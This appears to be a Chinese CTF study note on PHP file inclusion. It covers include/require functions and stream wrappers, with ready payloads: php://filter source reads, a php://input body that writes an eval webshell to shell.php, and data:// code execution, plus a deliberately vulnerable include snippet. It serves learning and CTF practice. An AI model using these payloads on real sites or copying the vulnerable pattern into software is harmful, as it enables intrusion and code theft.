目录
常见文件包含函数
常见协议
php://
php://filter(本地磁盘文件进行读取)
php://input (读取POST数据)
file://
data://
常见文件包含函数
函数 | 功能 |
---|---|
include() | 代码执行到 include() 函数时将文件包含 |
include_once() | 当重复调用同一文件时只调用一次,功能与 include() 相同 |
require() | require() 执行如果发生错误,函数会报错并终止脚本 |
require_once() | 当重复调用同一文件时只调用一次,功能与 require() 相同 |
【include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file】
常见协议
伪协议 | 功能 |
---|---|
file:// | 访问本地文件系统 |
http:// | 访问 HTTP(s) 网址 |
php:// | 访问各个输入/输出流 |
phar:// | PHP 归档 |
zip:// | 压缩流 |
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
php://
- 条件
不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include
- 应用
在CTF中经常使用的是
php://filter
和php://input
,php://filter
用于读取源码,php://input
用于执行php代码。
php://filter(本地磁盘文件进行读取)
php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
<?php
$filename = $_GET['filename'];
include($filename);
?>
?filename=php://filter/convert.base64-encode/resource=文件名.后缀(flag.php)
?filename=php://filter/read=convert.base64-encode/resource=文件名.后缀(flag.txt)
php://input (读取POST数据)
enctype=“multipart/form-data” 的时候 php://input 是无效的
php://input + [POST DATA]
执行php代码;若有写入权限,写入一句话木马
<?php phpinfo(); ?>
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"]);?>');?>
file://
条件:allow_url_fopen和allow_url_include均无要求
[文件的绝对路径和文件名] [文件的相对路径和文件名][http://网络路径和文件名]
<?php
$filename = $_GET['filename'];
include($filename);
?>
file://C:\Users\admin\Desktop\PHP\flag.txt
data://
- 条件
allow_url_fopen
:on;allow_url_include
:on;通常可以用来执行PHP代码。data://text/plain; data://text/plain;base64
data://text/plain,<?php phpinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b